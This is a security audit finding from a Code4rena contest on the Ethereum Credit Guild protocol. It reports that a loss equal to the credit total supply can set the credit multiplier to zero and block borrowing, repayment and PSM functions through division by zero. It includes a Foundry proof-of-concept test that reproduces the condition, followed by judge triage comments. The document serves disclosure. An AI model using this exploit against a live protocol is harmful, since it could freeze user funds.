code-423n4 / 2023-12-ethereumcreditguild-findings

9 stars 5 forks source link

The Credit Multiplier can be set to zero because of a loss. #1260

Closed c4-bot-3 closed 5 months ago

c4-bot-3 commented 6 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L331-L333

Vulnerability details

Impact

The credit multiplier can be set to zero if the loss is equal to the totalSupply it's because when a loss occur the system doesn't check that the totalSupply is hire than the loss since the majority of borrowers redeem their credit to have the pegToken it can happen and it will be a disaster for the protocol the functions in the LendingTerm: borrow, repay, and partialRepay, bid in auctionHouse mint and redeem in the Simple PSM will not work anymore for all the LendingTerms.

Proof of Concept

he profitManager compute the new credit multiplier by this formula:

 uint256 newCreditMultiplier = (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply;

When a user take a loan and the loan is called there is two phase. One phase where the collateral offered increase and the creditAsked is the callDebt and another phase after the midpoint where less and less credit are asked and the collateral is offered to the bidder. After a bidder call bid during the second phase the AuctionHouse will call the lendingTerm 'onBid'. In this function the bid of the bidder will be burn (L-629) and the LendingTerm will call the ProfitManager function notifyPnL(L-292) the ProfitManager will burn the surplusBuffer amount in order to decrement the loss. And will use the loss to compute the new credit multiplier. But if the loss is equal to the credit total supply the credit Multiplier will be equal to zero.

function testBidCataclysme() external {
         address user= makeAddr("user");
        uint256 creditMultiplier = profitManager.creditMultiplier();
        collateral.mint(address(user), 1000e18);
        vm.startPrank(user); 
        collateral.approve(address(term),1000e18);
       bytes32 loanId = term.borrow(10000e18,100e18);
        vm.stopPrank();
        vm.warp(block.timestamp+13);
        uint256 loanDebt = term.getLoanDebt(loanId);
         vm.prank(user); 
       credit.approve(address(term), (loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18);
         vm.prank(user); 
       term.partialRepay(loanId,(loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18);
       vm.warp(block.timestamp+_MAX_DELAY_BETWEEN_PARTIAL_REPAY+1); 
       vm.prank(msg.sender);
       term.call(loanId);
       vm.warp(block.timestamp + 1600); 
        LendingTerm.Loan memory loan = term.getLoan(loanId);
         uint256 principal = (loan.borrowAmount * loan.borrowCreditMultiplier) / creditMultiplier;
       (uint256 collateralAsked, uint256 creditAsked)= auctionHouse.getBidDetail(loanId);

       vm.prank(user);
       credit.approve(address(term), creditAsked);

       credit.mint(address(this), 6330434720885811570152-6330434638496783243677);

       vm.prank(user);
       auctionHouse.bid(loanId);
       assert(profitManager.creditMultiplier()==0);
    }

In this test bob borrow 10000e18 in the second phase of the auction the credit asked are 1669565279114188439848 is less than 1000e18 he bid and the credit asked will be burn by the lendingTerm but if the user mint exactly the difference between the loss and the totalSupply or if anybody mint or borrow the exact difference it will result that the creditMultiplier is set to zero. Since the majority of borrowers redeem the credit so the totalSupply is low. a mallicious borrower can use this vulnerability to destroy the protocol and DOS all the functions of the protocol of all the lendingTerms and the SimplePSM because of the division by zero. For instance in the LendingTerm(L-357) in the _borrow function:

   uint256 maxBorrow = (collateralAmount * params.maxDebtPerCollateralToken) / creditMultiplier;

Speacially when the totalSupply is low. since their is many credits in many blockChains it's not impossible if an attacker know the totalSupply and have an amount of pegToken he can DOS all the protocol.

Tools Used

Echidna

Recommended Mitigation Steps

One step is to Burn the creditAsked in onBid of the lendingTerm after the notifypnl call to the profitManager. another way is to mint a certain amount in the profitManager if the loss is greater or equal than the totalSupply

Assessed type

DoS

c4-pre-sort commented 5 months ago

0xSorryNotSorry marked the issue as sufficient quality report

c4-pre-sort commented 5 months ago

0xSorryNotSorry marked the issue as primary issue

c4-pre-sort commented 5 months ago

0xSorryNotSorry marked the issue as duplicate of #1166

c4-judge commented 5 months ago

Trumpero changed the severity to 2 (Med Risk)

c4-judge commented 5 months ago

Trumpero marked the issue as satisfactory